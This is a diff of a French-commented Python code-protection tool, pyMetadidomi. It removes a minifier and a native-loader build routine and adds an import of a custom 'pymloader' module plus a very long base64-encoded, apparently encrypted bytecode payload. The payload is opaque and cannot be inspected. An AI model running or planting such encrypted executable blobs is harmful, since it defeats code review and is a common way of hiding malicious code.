-    """Minification irréversible du code Python - Préserve la syntaxe valide"""
-    try:
-        import ast
-        # Vérifier que le code est valide
-        tree = ast.parse(code)
-        lines = code.split('\n')
-        minified_lines = []
-        for line in lines:
-            # Supprimer les commentaires (hors string)
-            l = line
-            in_string = False
-            new_line = ''
-            i = 0
-            while i < len(l):
-                if l[i] in ('"', "'"):
-                    quote = l[i]
-                    new_line += l[i]
-                    i += 1
-                    while i < len(l) and l[i] != quote:
-                        new_line += l[i]
-                        i += 1
-                    if i < len(l):
-                        new_line += l[i]
-                        i += 1
-                elif l[i] == '#':
-                    break  # Commentaire trouvé, on coupe
-                else:
-                    new_line += l[i]
-                    i += 1
-            # Garder la ligne si elle n'est pas vide (après suppression commentaire)
-            if new_line.strip():
-                minified_lines.append(new_line.rstrip())
-        minified_code = '\n'.join(minified_lines)
-        return minified_code
-    except Exception as e:
-        print(f"        [!] Erreur lors de la minification: {e}")
-        return code
-
-def protect_with_loader(code):
-    import sys, subprocess, os
-    import pathlib
-    # Compilation automatique du module natif pymloader si absent
-    loader_dir = pathlib.Path(__file__).parent
-    pymloader_c = loader_dir / 'pymloader.c'
-    pymloader_ext = 'pymloader.pyd' if sys.platform.startswith('win') else 'pymloader.so'
-    pymloader_bin = loader_dir / pymloader_ext
-    
-    if not pymloader_bin.exists() and pymloader_c.exists():
-        print('[pyMetadidomi] Compilation du module natif pymloader...')
-        try:
-            if sys.platform.startswith('win'):
-                # Utiliser MinGW64 depuis le vendor
-                mingw_bin = r'd:\Metadidomi Crone\metadidomi-builder\build_tools\vendor\mingw64\bin'
-                gcc_path = os.path.join(mingw_bin, 'gcc.exe')
-                
-                if not os.path.exists(gcc_path):
-                    print(f'[pyMetadidomi] MinGW64 non trouvé à {mingw_bin}. Tentative de setup.py...')
-                    # Fallback: utiliser setup.py avec setuptools
-                    subprocess.run([sys.executable, '-m', 'pip', 'install', 'pybind11', 'setuptools', 'wheel'], 
-                                 capture_output=True, check=False, timeout=60)
-                    setup_py = loader_dir / 'setup.py'
-                    if not setup_py.exists():
-                        setup_content = '''from setuptools import setup, Extension
-import sys
-module = Extension('pymloader', sources=['pymloader.c'], libraries=['libcrypto', 'libssl'])
-setup(name='pymloader', ext_modules=[module])
-'''
-                        with open(setup_py, 'w') as f:
-                            f.write(setup_content)
-                    
-                    subprocess.run([sys.executable, str(setup_py), 'build_ext', '--inplace'], 
-                                 cwd=str(loader_dir), capture_output=True, check=True, timeout=120)
-                    print('[pyMetadidomi] Module pymloader compilé avec setup.py')
-                else:
-                    # Compiler avec MinGW64 (sans dépendance OpenSSL)
-                    python_include = os.path.join(sys.exec_prefix, 'include')
-                    # Chercher la bonne librairie Python (python311.lib ou .a)
-                    py_version = f"{sys.version_info.major}{sys.version_info.minor}"
-                    python_lib_dir = os.path.join(sys.exec_prefix, 'libs')
-                    python_lib = f"-lpython{py_version}"
-                    # Si python311.lib n'existe pas, essayer python3.11.a
-                    if not os.path.exists(os.path.join(python_lib_dir, f"python{py_version}.lib")):
-                        python_lib = f"-lpython{sys.version_info.major}.{sys.version_info.minor}"
-                    compile_cmd = [
-                        gcc_path, '-O2', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
-                        f'-I{python_include}', f'-L{python_lib_dir}', python_lib
-                    ]
-                    env = os.environ.copy()
-                    env['PATH'] = mingw_bin + ';' + env.get('PATH', '')
-                    subprocess.run(compile_cmd, env=env, check=True, timeout=120)
-                    print('[pyMetadidomi] Module pymloader compilé avec MinGW64')
-            else:
-                # Linux/Mac (sans dépendance OpenSSL)
-                subprocess.run(['gcc', '-O2', '-fPIC', '-shared', '-o', str(pymloader_bin), str(pymloader_c),
-                              f'-I{sys.exec_prefix}/include/python{sys.version_info.major}.{sys.version_info.minor}'], 
-                              check=True, timeout=120)
-                print('[pyMetadidomi] Module pymloader compilé avec GCC')
-        except Exception as e:
-            print(f'[pyMetadidomi] Attention: Compilation pymloader échouée ({e}). Utilisation du fallback (AES Python).')
-            pymloader_bin = None
-    
-    # Préparation du bytecode chiffré
-    import base64, zlib, marshal
-    def pad(data):
-        pad_len = 16 - (len(data) % 16)
-        return data + bytes([pad_len] * pad_len)
-
-    key = os.urandom(32)
-    iv = os.urandom(16)
-    compiled = compile(code, '<obfuscated>', 'exec')
-    marshaled = marshal.dumps(compiled)
-    compressed = zlib.compress(marshaled)
-    # AES CBC (openssl compatible)
-    from Crypto.Cipher import AES
+    import pymloader
+    payload = base64.b64decode("FMKysSWSwz/aZwmVJqZasdft8HvUf80fFzQLXiSTMpkpnXaYrdMaDrcZTwJVa1keEqbpAt7YCdPHk/PjmM34x8RSZcy6ug8i7Esdz88453lNIAguMk2kKrJckE6JMqH0vrddAgBi0yDMa7UhkxarCVqv1MBz/knda2Kq1Ot3b0o3SCtHhihlV2SqeY5ypAJOZtTAJjhrmII9Vbbz0rfkGTa6t3XPpB4418aQaOtqKW2lMIE7Ac7ZkdWr54DawKxzuxL0xxTNB5nI+1NXItjMkTCV+4ULQP/o/APuRMX2waN/A8b5UYWh3ImLpMuP5NIlSFHyPqNBJbdemMtYO8wWkH9Kzx8lTIUajx3OnXpVBuJTVoYIODWW16r3VpKnhZjIzoM4hG4JNb+oZaY+oEEcZ2r+sNFrelTKbxivNqwtUJrPqyDnR0oG29yAG+/HTw9g4+7Fqs8V8QnzCPIpVhvnnz6nCKy78QmUQ4ulIYfYwKRhy39BWwB5hSYrT4j39g0OVirnF3pOUE8wSg74YitOIxBwr+7STTtglM8wKcYeyvwo7yR3wrYv8/1qXW0XisdHYevIceQbdKpO+t9cd0zeCNUxJGlBNg32NI98vf+EExDN2zteI0JQIt8TNF/JHFzBzR5fxR9wyB9F06PJB8KqH72xkwAc5gBpb/5KMNemTXHNZM89Ay+B5lrvUxgng7EZrMZVVmnRoGvItdydkstsoy68J1BOvRQb8RWx7wM0ZndCV3NANtIuhOrB/7nsDJ3i/QOxZOHyvbmbCOH27z29SWQQ5LRZE2LrorybQOarAawhhSLcrKTlhli7ZZZ/W5s7MrEXeP+oDtMLAungQUD4Z7rm4541WPvcrcwLvHQmpJ0QvprsoZIYHZec2EZca8CzrDlHEfdLDfFCWQtXrFbIIXbZckAWTKd8gBVgwf+5OTsT1puicK8jNlX196kqFP/w5NxDj65omwEFgzDiMDK2YQeeXuAwXluKl8LwSsJKneKtWho26TV/fksgw3zlfYhWbOE1FQ2fe7/gcJfZ3qvh3Y7VjjuqA7WvrAFK8v3OC2XGpw/SbVWL+6/kQ/pr2jIcDGclD5XhHeloVcG3uG0yp9dSnaBWcLTZY/VG6RBE7oaygPWRgw+Se1BG03g0LvOPkGbUrIU8UZrOsx2UrppmPqPI3NZxAXWb5j7mG42+iwY4rk5Pp+i/YppuyE2dsI2mkQwyYuHQLQ2HRzvDNJkhGIPiS0iJNvyIaSlygoTHr5p47Jet8poB38suAF0HRbNGp+1MDLkKHHxofg6GAzEIK1xXKlHLcNGBlUDX3n7A0iPF57CGH0aYh+XUu7HrogpfZFX4nEuKnZ7A4MGZbd6MSVjvOMPmBaxsCHqMbZRdECRiGLiR+8Lvwd2t5eGPAHc1cSzN8gimbO0aWG6lkZxRVU3NyN76L99bshE/rTwuT/pVzwtFDZ2Pdw49G0cRk1WuShLZpBnHVxqcAalCYw5glgDY+9EtAloaJv3+Ly6faC/tOkh0gsgWBN/tPhFUJT44eScFIEGfv9KR7AwnHGRrnuQyh7vR1Wzdva26XqAd5tRVlm7d2gRRizyFY7LJG7iEj2mm19ohv3WQM8WQxt0sfwAd9QhM7GDYDGVhp22DsA/Jj07CKZVqqPIgA+aJAMJRcGSq5Qy577hvFdJEyRNravLBchC4UqVmiPqP4CwUJhUTWf6Z1x9xSR1K29cI51ClmttqumG6fFuDLAwYCuXcy6OU/4ERLlwzfPjhUoJHtZ9GOBFshNN0cOEPko8ykR06kieIOVzM/4pmgpNH/kJk1avy4zrvrTcvDk6r90vVlwg8CV0FcbbbsBBNWQRThEHUjOwKm0FawDDtYIQ7ZSn+Ms/ozLFobxK0mfjqhY4Vj7+hQ9dTC0NcYeJlvWZOdNg+K8hSk4QExTH4hlidhMf1VhjCy41xwSeayf2MwzE0VlR/nw8XgS+QI+3ETHQEGqDcISLlEzeJrswUYxtJ8hk7Tz0pDc6B7SvQZ3vVVQ+hzTDwAXULKQdbBvknfd7+RubBTUlfzT8D9QRQMZzt2LJrzAI28OkkyKGuV8Is5Ggwz3bcWQ9NrWl8lIsi4SsCZkH6kWt2+BR3rfiJ4RJDvvY71Fe7r4U7HnYkBfpFY5/4O8VG5ed3YWkTJi16iu6gXCbjawBtEsh74voM1zGsTJGSKlvN1IuD7snpFeUEiE3pSPFHW/NxMn2ePlRzvCUhpMUNb4eODaOYjrJUf6ZgklmQAZTcobCiGYlxlyXCDl5OmK12ccsTJaFGkCma8jDTNwTEwX5B0dVZh9YYVmCcGxVrwIKeHcjQctk8zqeXL54wBRAuRcarGqRh82Zu30Z/f7SuLIQKAl3Fb8dDJZGjT88imYm54yvcSgJAd7nXEuogJAzbLKpfefGjw4L1OWtpVTNe6e5jtX6FL8Y1Wou3RjsGHftkK4tK93FBEVxWONHo8CUkDRFPVYT9eJQxQpZ+UDGjTxhrSWdKV1lijoEQlt1rIGp0/Pg94mSF+bolkSSBw1vq1ua0iIXBptjAheSUHftPwCeUF6b5oNiNADV6o3sbFWDmq+cRU/2r31h1cigj4J4ptWMYXZh99cFUAuQPMngp3/BHKicXnfig5U5B7FeCuXacM2MvANJK8u7jb9UQnx7YdUp3nHeT9UZf/EgWSndSYGn/9ISXrW+t1ERVaflM5zub9uyNxszwSID5ancIHVyMkU7yK8Bp1Di5F1CJ0DvwqEFJfi9kXgroKAzpJNtLn4qc4sOmGPVhBLQ4DfdnK66ijn9fhVZg9+r2cY9pA+XfyGwu1lOzwPUL7svYsmsyukTwn8cLRzyFm77p9U1SdHCFZhIX35yKwWJEIIAVYIuPlhOzAkFZYthVz2EarxSqP9RMdf3SUjWm+QoWXlOfBP0cjJfSrg7aOhhCZ9DrfnysrHCl8TdRGyPvugDHwvfkc97XPLD1l7kAO7ruAUTLD3L/rXVxginb1MdffyLJNiEyUDm9VJjvwzzd0bB9hMQZ9Zk3SEI29rP20ckuTi98hsG4LCrWVmm81HK41S2mwGVFqSeEAr9G7KcIBYwYuxApM3FpkllVUSFjy2gDW+21ASNxVnx6IlWtot1Ld5N5saBKDToI9rZG6xULBDKFzaIcrEl2Ce2O1RRh15QpwLaIyGfGx40rIqTM/ivG17fDVN4YKXQVshGUSXFvB6QkbXcaXo88a4285iwKOUCKbd/hzAfWUO7+uy+PK6rTPImPgl8HoMdhn2mDwArV27OqZl/yOn5r9UJZYtZookMmn0wALZGhUOJlfZh9IJv2eHTvWGYu5p8v7kSLDx2AytDZVJPRI0vlyaCms3QxqyYzGnCyixY1ZvoOIN+jUEHLJVrYh9Gd4jBjTmCVCPkHjHv0STv/XsDEl47LwV0yyOOEuQnOkDj2h3zLBwVCXgro1zxS/t5OvzvdZZOVE8P5zvgMjKjtnumsyJ3Lfaiexm9jz8W2PWK4jl6SjXAEi5I7Y5NOr1bbxOgT1yLsISDWAOOBEC0y1w902seXRIxfteQDbg/AuSK5UY932br9nnI3cMmSomiY8rvtL81q/OHHalX6VVgK4wPatmAw/5MoMFo+R0d0/MyXccWQJPBHTFCamkxRcCTC+BGrlYDp3Z5m8tVSwcAiI6mhXPnghySXJDGsNeIL6dtZ3uuQqvwye8glKCafIHCtsA4iNzzyEsdJqyIegkLb7SSji/yUASXMhN02jfZgSSSoWRUZJA+PSb4/p7+iB2gfpNwZIMyOMAEdLG76oLHS7KbRL23+uhFgg3lbRDomkZeINBkCVvF2xT49tGGCemrudBm8l5ceec7NhCwryU/KvY4FzaxCEGQ6PHVCwVceZbmfjS1vButp/ipA8KEcAOK34i0de1zXqAkXtGIop19vAn/PVUbi6vb3Zfh4eOMxRj1Pxs8eS8Yrel4wNs4sKPK8b7efqK4owOBDG0jFC29JnKR6WMKKv3bKCGZ6HrFdpnAiLwMN7mSza+HZdqt0VOPQrnbVVhLy4InparYp5x42uxpBE2XI6BG+eP8GBop/tptTvVOXf5iB9//gBsWbthjT3khOd8B1nnE6C2gELuMDq347R10xdp1P/ubO86Dxx0SOrCIjpXikG5c++RSoDnShsDYSFLE8QKu6pefKW7xLj8EnUyKxbZI8Oa2pbXYapHAREMb/Lrg9PX6WtXj7tbg+NDW58my6hwlNRoZbooKYxnhfWjXjFl5MpDdxyPQRvnXmjauZjD9jzEGsWNVBUJO0B6xQgzioKMV+pd8Bnrgc6n0ldTvtSsI0btlxaWZvssxVEPTujOfAq1ClitTR6IGe7NF7aOmmV1Nr2bVan9UP1Y0UgRP6Ntqfw7c9QItSC39NbiZIkYHic6vK3UFO9hDuX7wBH6quXuR07UVnUfVWi5eoWQDf3U/WCiOn8q/zy5kL325F1Fs8PQPPXU1RVMgpzD3+7YFPSjWRQlP4+K19eYrumjG4bejvgDVMaNkDNh75vtEWA98LaoyCWqzTh0pSjNGBaUSdc8VuxyiUHIhCY4xUqzIu8p+WcdSaO70H+Kn15WRd2Nr0TdwnNz+pizaLCc6md32YY+iPtmCfXkEfFGMVUB9X0vYeKzfYhtn7H06G8DA1HW+CMcwwem6ZgeHyQvExqWhKWMRQjXSZl5CL9umzjxgvc6gqaP2IWg+r+5de8wapIeZ8GRy4ZQL/X+zC0qcoNCfzGPS0xHFV23zATtRknD2akWHt/IjzzjhymeZyO1FV3pyM/pOOgIMDCU70jQdpc+6mfcdwTxnIkjPMQOjXuDZgysIFs6gkvLSvUBj75Jq+TdcyXN2+Ex4rTHTUwA3rW6izB3aJwV4rQKdmv4h/lXRy5bvZQLnFAQ3TkQuK0zcVxO5RyjK7UUw7ptiVg+etThRdHsuK0JvV+RXNHXP1qr9fOfAaDq4ck6Vm5+lEb8IrgXK+5StfW/cMbtBHvVr5jMSQN86I5nKDToD+IHr3sbJiLK8qfcJ1oq7cV+gHCr3InwM9Ory7cqbgsEUw+Hr8ZMvQ4agVL4GpOPIui7I2O1wpKKlu0WoZzfQzdxKX1TSO5WT82dMV/16YHze+On8wm6bwHfa7M8QK7SaHBbLT+16oygWNwRVyuVH8W9DA13b0V9gyqQmK5jQYwn4H8No+zlnSDIgUjaQ9rhnQ8KxEbBXodiU3OzLyf04blIMC+ErlEM6/B0m8M2HOo0wo/BMz0AfQH9OT/FV4TofbpQZ4vyiH4vEpkMPY4A6AZ7VLs+BbOSWfpEioHjvxJHN9kjO+XecRNMBzA5KdtyJUc6LWpNaPtxPxjOke7s6O8f/zVjK206bwLs/1e9n20wnWM+CfiHgO+2TzKnC+hX1xISai5nmaRcTQeCL6qFNFP05ssWc1I4a69RIXoT0/3hKWOZy3aoJ/l/0uLi3sXDz8NiILYi2DOoF27LW/8NjKyx/JPZnQfubNQRA3Kjy/EqSFLaNuB4NUUcHCrauWp/bvirpgxmCJn55LHp1NDCwGqYDYREA9lKnV2XnF+z1nBik9E/xFMbV5NgGSQy+7jbnflfgK4E+dpt3ee6nARcrfbC1JL2KvUoSoOgYQgQPuucJiGyNtHKa5uXtop/GpVIuyTZOJQ7gFU9YY2e2yLKyfGaOPFmTqbwKAEGJaUGSHphP4NrkKsP5ifVqNxLZHXd1zEQ7S1tMz+hAFkP5dOE5S6YAfu3WLGtOpwUcsjPS+6LRxrmayboc+jKKn+CiBGODDtIiA94YDsvLdK6tLjnDOxzryrP8cDs3yh745PA67lmvR+6068RPuRXdtBg5B+NpRboBczv8+e0RXjBn+wfAF29zWORvfmyulA0MBu9/HsxZmXbEXJ5atZ3XZggwDati88OFmrwog8u8LAB5peQOO3PfupK8gpNZKesSvmCHgJwGs0kBikUTgxLOkh7m3303hl28nSfaL8vx+A52U/cvpwfyIWoZqhgjqrbL2YO95JgnOfyIyDKqsc21Q1RcI4kOZyn9TO8lmeq2gwGAe+/il6ikoetMtpp/CLMsFZGGD8W33Pnqxs2VgKl4Denr+HAQvb/brpYWJFTq8QsgFGCn4RAJBrapgOyU4Oe3OLQ8X2+Du8gvQ2ZL+GQkg+fRxpdrqLDWNJjQuz2Or+7WlP11cup/jKO+v5sWhPitQA+RbQy//kwrH2ImHdTK01cbXAV7ZCPvOzynpHtr8x9TKVZJk327VobknBZQW42VI8Vv2JT+QmjdGjfWOUkJHd0ANtrJHd1VeyDE0gwahMfjJg6kvjuInKHuWwRSSqKCVO67vv1+ZTquiRLTSvg6bcl7awkl/B5F9rlh8OQNi6PhnbtszvM5kPtAlUXbs41vumPYyzqPO3+i+upSalo/DWknqs5miW7ZksTdFwm8xzCrQlyvbL7u7DHOaR+pInSILHqVvG5oKZS4nC5L/Tby+f+FQVWb87ZHKizUO2Fo703jxxeFPybyr9uu9vdxJpOg54YK3jpQIF4ne++p/wBz3urtOMQS6OoPgEd4gi0ERm2g46FZsTbue4YuXfR48vefEwjl+99Xx3UtNiXQLzkRobbXlWLdpvE17JoMuoue/zAVTuosEepm1y2AfGOhuClcvMOw3kkApx36cfWJd//7OnXgHADUEQBznaG/vGKti80YAOCdLVQHRP+0iuwD4a6URutwFPouBDACwe/6EP0r5MfAAh0WdpNgsjVmgT+9UdhaDeW/rEJC4xHNpEkLTT9pDgTnnPK1YCRQZ6t1+VDny3vYf05cImjnDilZHZVPnhqbw7DpjiBhoOQ5JExBNNVvQoO9JgNERCbnPdOcIwMnDHPC/3STAjsIlAIet7hy93ua1R3Zg/yDS1TxGiqpe5pxDr5Xo1xjd6fq0UteW53ByerFZysy2+lAph7JYmS56gWFZVMAIdWtsd+CXB6M3O/2R10UroFy+WrVH8pJi1DkMOuo8BHPeUckNxAvyR6KoV3bcdH3N5WnEp8SgQAS88ja7Lnn2u8uhpzBlLvbsExIlxUL5hb0/xsD9e8hyLv075EhToIuRsjiQGljSrlBJT2KF3+QCXjFQ4T0WktoCJboXN/Tknbb6XGVIidbD5xxC6a2NnzkK3QG/FtwhdPyD3CHFFEYPv929159s+KQ4rwQd7RBZjt1i72FC5BCqkoQOcSoMgfVfQA8hm0NSbqBtztDNQ17E9eqRrZvIC2/fhQFNQz2eSZh2AHsPGrmMYtIz9cHmuCZx70mhpPZ499sqR9utWHnrHSJK9kbf54g3q3xanWX2bSopEZsTR4N1HAArMNnRiVTxTo8XOW4YtO+2FhCwyyW2h2UMTp3QN3kb73s8k02fwoOZFGNctmOEXGu0VrDPuseTAuxAv23ioEeBHSdomhMCgfhhum3UTV/PgqwDuT1t4TM0GAnH76IDAZ9hRiBIVTyCk97kMC3Pt+t6Qdfqv1GuvnOU5r6epHJGGxUyJ1lcVj4LCh9Tb9ZqkK4VYOwxJ1prGb8Xce5p1x9qJcObGdJ9f2BJ5bm3vc6OY115E1aOfDPy0pS4PUj/n9sdJjkB5dsbpzDg1hPpF3SrDmtGYJx9r/l8aqaAEtWHJbcA0vMuwvoVRsnsm6ZsS+VqCJOUcfbOeKpfgvGdZrzr3lNAhCofFKEUsazh+tFK6WuR18mNHlgFytkyRF/gVX6Ck0FXNz+Y5szk2vaFnR95fco9N4zGPEJUSDjWa84LXRjjMI+uuIMKHO82zg0o4twX3dJfCstgwvlRjY7DiuqhvUKbntsyYhwD2gkecS7C6QaRI9FHdgwcdSbYQvKoQQytKA+WuoLS0gkn5asoj7PxFRALjuwdaH0MPxnpBkWX+sfVBClwT2dwipjNu37+Pmt3B7+E7Dhhm5GYQKfkyCUk5+52Eg7gXYm9jg8AjaVdVPJ7BPpFfIlj0egt2yl8bZ/pWfq8HY6TKRJlfwpsXKtYtVzQwGqeJAuig9Oodbz6lcBszVNoHvNlFGoOeHxTu7dpESE6aXy+pH7qhq2Xx00w0bzUt2jWzgLQuRfwvLPHON8H2Tkp7QGEM4WHUsmTJcAgjA0ySM6VjIhDnDdAFykZeHl2AL4vOIX5Z3ydkVVFPMNKKzZM1b2p0SZwR5PjZoDFv4T5qTTesxPO/AHSN6aW7fmYCDC3P+0xuEXOH49oX2iytblOQmSjxdpsxOyNCf1FdyqDweuS8bkI3jdttzO8E01AyYmc+Fc6btlCUcBSOIT5jhdjKUnT1zg5vGyrkJoYQGCGuON/fQTJ/bzDdk/eYVaWgXre0Z3mhqINX8ookM/+CJG3wxPOop86EpW44+mcrdWEnEDbkKvS78et18aOlyWMAvN6ZfOvv8WDeZhPM000/ClbrZrMVV3pwhQJQDcWw30BScIlsPXfqzQdGTaq1ox9P8MuFRw348xZ6CNJFcwKeGzWd9VdbBTceP/pKwzWu4EhP1BuesqwvUyYuj+jlgcpH9GECqsqD218woasMMtSD5fPz/1KtzZX1yytlQWiiRoXquiA6D50d1lYZYX5yBDKiC8n1u9GwJJ9MFhtgur1B2eqFwj1O7bwwZSX1mSRdKkSUPL4KQ8p7WiLkks9fDMytPPJCbQmoSxX2TLgTfKMPxUlQf5Px4HBZHYVZcDfIoPm6oIZrC09SpAmBKxGPuXOIg/WXKtupm+HHpHgp4aMwCCdznwYS+Mlkq98xIcibJUo+HTVwZBUgRSGHrq08SNrT0iQiI9iRnw37ZvsztZI/zFx9oyIlgS6ra6yfugX8N+37QEkGiG4UDJZ88xsZTvSZB6hI+/dgZbF2AzWsy2WSQwSrOQTCCI0byMl3OVC+OLu3qdckbgEgzzuWtOiyo/YQcFFrabOUDSu41P4qjqNzSAU0inxWEX7dHS9DopEy81G9lJ127TMU8IdvC/Q01zcjccOUQZN9ZQ//83GHJ6rTLJb/v5WP31FTbGdH6Fyd/LOuDXWvxyhSOUHdStj/1BMrda4EPw1SKWHxsb9Uk5PIQh3gOt0e0VBFsubiuc/pN6Ni3lYiUzgRd81eTA2rwIA27ErYdOxnxImJsfSEt4OCp6QIFsCl5GB6ukUw1TvxQQIZ1fXkTxa3xv3bfGmrTlv8Syl1BHsE9YM81or8C3vKjmE5nW7Fj4TT42mc290th6D0kbLgPoe0etWNk/VYObX65nX9tuA35iHaCkyDSfhvOTfug9QzFNLp8f/nWcbOUhP+Mr2ywdY27NrBBkfRxC2DavrL5IklalsUHcP2pb1fJL2o88CNzAEgySO+DhAwXITQ2pwzRGprNLrXukeypqVCH8KWiKmMrQA63AJTaNF1WyQJOP8Mb0jKghaDvWQFu/JtGn5CUeNJGWqTEPtBbVr2QD7c3YgsmWFPSZU7t2cJn1PYdSHSk7fpdnQrlTrTj+vmB9kWfqqF517iXNbUb9isDDOJlXf+ZSQjah8G7PVeCd70QehYWQ05vQX5MWXU/QAHn7bgezoJt3FXPMUgv9SN+M9c3kXlaF38o9GVzRdI/DC2WzSyLfgRVjBgeydupiZ8FhwJSI0Sg0cksvZR9W2mmRhVPLJ0YnCP1RPksABWKRD5OXqQHm1yfVXwZqnODtqCRo4Ku48zDac/6OZuGhJHkU/4B+na1MK1m40OSEzuuYYxekHY5EtOBcYfkEqy6v6q5X9mkMe0EREKuQtzJrQEgTcebbQUgcVakWPy7oyxDRa7yqxZIVAr50EmmL6M/s/b81BvG4N4yf8k42WdiEXH5Gxg4tT3/dX9mTNrb6a31zUKuKVIR8ugmf/MMDV8YDTXCUny+XoCe9h6RYyWoEh6dJx8wXRzDLBzEP+wwov20ARz3fKRI/gz8Mye77TgENxud+kPDaIFyca8PsK4eQUGnXslffBXqRXRIgKEJM6AnotcmrthKuyMdSrvFiAd1yYyTeRXx6LTQBaDJH5RQ4gn40Q4Ar0b7cr0XOEe1S77DxC6xvwn+MobPNjgjjDBv/e7q1OTorQ4RiDY5NAKgVKAj34KL29/mkTPG6LpNSG6Uej3kxHgT/+hHjkGo0pMs6FjLpJysjpa65Zi//xQdvzL59ZUJoz3XncWS+hj0jsjnDBjSEsXcAMzUw9OY0T2Gn9CLIJ1iJ3nd5tfCNdhwiPiyQohKtRrxo6nAJSBYBejGANIQCrl6MXKODSRb1FINcqCKscO2bRHttdj1N/s2+CMLfptj16Cnmc1sg2m2b0rIWf5huyDt63EGN0YWzbuqId7l3ZoIISlbNj5rf/l8KzADXjZ7qjHhaxbNyNQB8NHfq8NHq5Q71OdqP02rXLWnk8VIppjVmDXldXmLyeNMpoK93eVTPdWwOH1fB6xhDtYAZiLqFnehcYNk0ae8z+ITL9/nHNUlidQi70NY+nu6mQxsNY4Kpc0PkwjUMVx3q8IljFGDBMQtYnExtvURb/9t2ayBCtmIlftczOQ9telnA0ocVEYOqWVqv7WfHzZXhBJtj4l5Ev59P8GfR91SXMjbQGSUCDZNkkK20v/M2h5pp0gw5b/H2PSTFKIjLVlrRwryKhCpdl/OqBqjOI+pQoC8pXi5HRxp8C3g44rT2WGBXSiBwKVFEFcJkuY73Bamix2Mkup4xW5mm7ItoyiMo7j4pP52HYokW+S6toZugBfIhtRdRvX20+TOEo9Yr8ylzKi70GQIC4ttVJHRn9vMKV9dTa3HQOLeMpbZgZjXGXWBBkWD2XexgF3op//e9Pv4RWqL5CJUv8qrK28KcdAjARQfWjzjBr21MezZhnpjowv1FuDDWletLPDe4J8wx+RISqy4kaHGYGotZge7Pnx2q7xwCBc6aFyGgFokfXAfh3wZ9FtbSfOHwprycYPVVKsOLrP2N59VD2bsaXf8+URj/YseSI2ugescJKJ2GmxmwXsGasFOsb4lgaP+o6h/X0mTOgv3pIrvDuiZ7v4wi8XstbuXDvxKtWULlWlqWu1j7Wmn4n63vXazEyEJ04oNk/KbApL4hq1kDmscJXnUntdOPiqztpLcCshKODV9ffKrtPbROi1O//61AnC83kEtkrt8H0tJzjxCJiAdgZmeG2YlwWMk1HtL5TQzAOngxKUevnQz+z4LYdOPsFdDsbrmFkW23Q25halMGeQiKsrxc7ZJ7VKwMiN8ITUTwClRX9VP9oJC18E9KpoCEWwM9IyjgFGeAr9vtzXv9dpXvSbC51Z1cTrmUTxvSkytccTF9grTXblGozehW3zGJf8tx85GWqvmyFa9z6JtUAAMSxxlxe5P9Dp7/brn73P1dfOFreMv4b+4L11nnS7eMEMlK415Qr4FbEtPSu22DIHlf5k0mNaJarcMvKRdnDapCfZC5aWZLwfN8CZbiQLkYr2JsZCI4WoU5NlZgvpGaEO3Ojctt3h0VvyM0e83EP+n3DQHilzsW1yI3YKGyFI8b34j7a8MHP0IRPzW1/Htyw5ONgLcq+2kA3XkX0peZHG5k4g/LXR4AfNPBFBeKfKQxcyNSuDpqXxRrUR/UmQY14JVFFsfOlJ3VLZzU19hYX6X3QP1+e5ePhfjWstCPdneMCwIFFJXAnAdeV88e2ZUAlJj2q/7iQkiVh/VCdDOAZFDzgQvr39xSKiH+TakS+63DcqgvK4Xpz/Vrov+HHc29RKtPapxpc7IW4BkTPaM/kfnG9yNWM8sCvFXITpqV+fI5Bek/iOjkZiuxL+j+QaCTAxIdZkOQv2kMHQJMa6XLdO9FbA2q2k0x0Nfepfq62ZG/mBLmtjUV9UfoqVrKb7HYNNpkmhiylZq5fDwK7/FLcTnQZ2nv7NO9up65eKyGwFLOG3a3JUtyFXHlSyLT9D9i/27JlYoLr+OunflR+M9OvazuerHEgD6ej5K91zkOX0ukedltszenlr8SN1DhPqIp/44pBXgWK6i6Li7rHlKvW3cRzTVwd3w7s6zx9C/NlPWBFsJ7tF9TG43TaCMgal4iI+lLMErCqxCzDd43eOwgErbKvQ2JK+KTZ7wDCbacc+jSmXujhnhtMmlCK3+C1MP4raWao7iiYnIvMwmDP2x1AzSZp9y1j658gorb/BPvYSK9eWpvZP5sCZyk0XduTA1Nt0eDIP/E8IFRbLDwUrCNQ4N+CSdLCnAjJQ+D3dzEtzspVSWbDqigUqicfwugzyxJWc8puhgk2LMbsTx+N4vBmekEBAJYsxSU6eC6c1KyXCwr//7ahr6nHJ6rUpilkCOS6Id+yhNwEdq/qbbc/lDXsgznNcnWZJrLQWGreWRavYUmrVnRph6DXqD8HHvrHxtuHP2LFmkdcTEzo99ImEhhtFNxtCrE6ew4U3GIhevTr3vzQ2+5eay1tNwtcDyM9cRuc9/RURX9g9CwoORLeJ85prv4mpGLOD8CGMo8Hru07Ap9sGaj2H0aWC1UHVm1yxGRaRpLtNrRUHMzPdBuDqivjh5rQouGJOVuQWZqQwCKo/r0JsoBWCqU90pB5WyCC4iw7YtxaF3Ydir98DUXuvVgaZ+TiJuSlRhzG4s4f+GY3ztM02W5GgUCj+yubHkI6RLxtzu++TWvk0gsmE5gXbMnyYXrpsjwd1ByezPH6rle4h+Q/9IuQE+oZ01E6Ow+fNLHo1eQR9dm6OlSrCoLUl1Lm5reRFxYiUzV8xIL22FHbRxQVVk25CAUBoRwQKoupR7e5w7sRDVwCdCCWw5KQbcbjrtgOlu+H5GFRXlPKsFVmetruKQ9pDFg5uHxT2AaF8EBb5kuQIQaFK3YPfWX7UQKa/zRYF6c4pi366hGSJAJfr1OCqd3fWRf8Hoi3LzvJkQn+f/QsM65Fe448r9Yq2q6gzKdvM7mv3MGIH2LpnEZIaifBeGYmahhrGRnax0KnTOwOor/RVk/dXllUR6QgYZ6e3wU+EGkxXU+ecIZE8578E7Y7oFWQ37qQQ9ZZ47pDHh5S+1RkN0p8cMycfZfg3Hc5RzlnsaHHr8+9J38reigxux8AYI19AY4bR8c9Ie7B9ZrZYzebvIK3lWiTkxHC1qJ7l5Z6V2xpZWfMqV9zJZN2hUuOswGBm5ZV19MgS/S+nmTowy60TjEqwSxrsebJJ1oLU+nlBq3GM2s6fyCcRDFDCSNKznHZfLFWjl023DSoQGBXcXmvRomrrXHqb+50SrJcIRM4m8gZ/zQpMQhfZ0nR3BF2SC/FnYf8BB/X9PJONAZUMXszt6BL+bTijkkp0l8wYNMictNVOSXcI7JztV8SAUXUsPmvnMRXLEUqBbhtQP6pPpE/hDoLQFQ3MVan7FmXK6acVLMdj9d8yDnM1NKvYhWxbg7MPjoOmEq/D85iROKvmfPbo8V54gH0QNdZ8KWLu4lNTkUwRonuSZbf5e6Xn7cLqDs8R/hZLM6OvmWQb9F0vb8oKo4mW21qnf5VbdJpEW7IFEM6Aeila4z1XR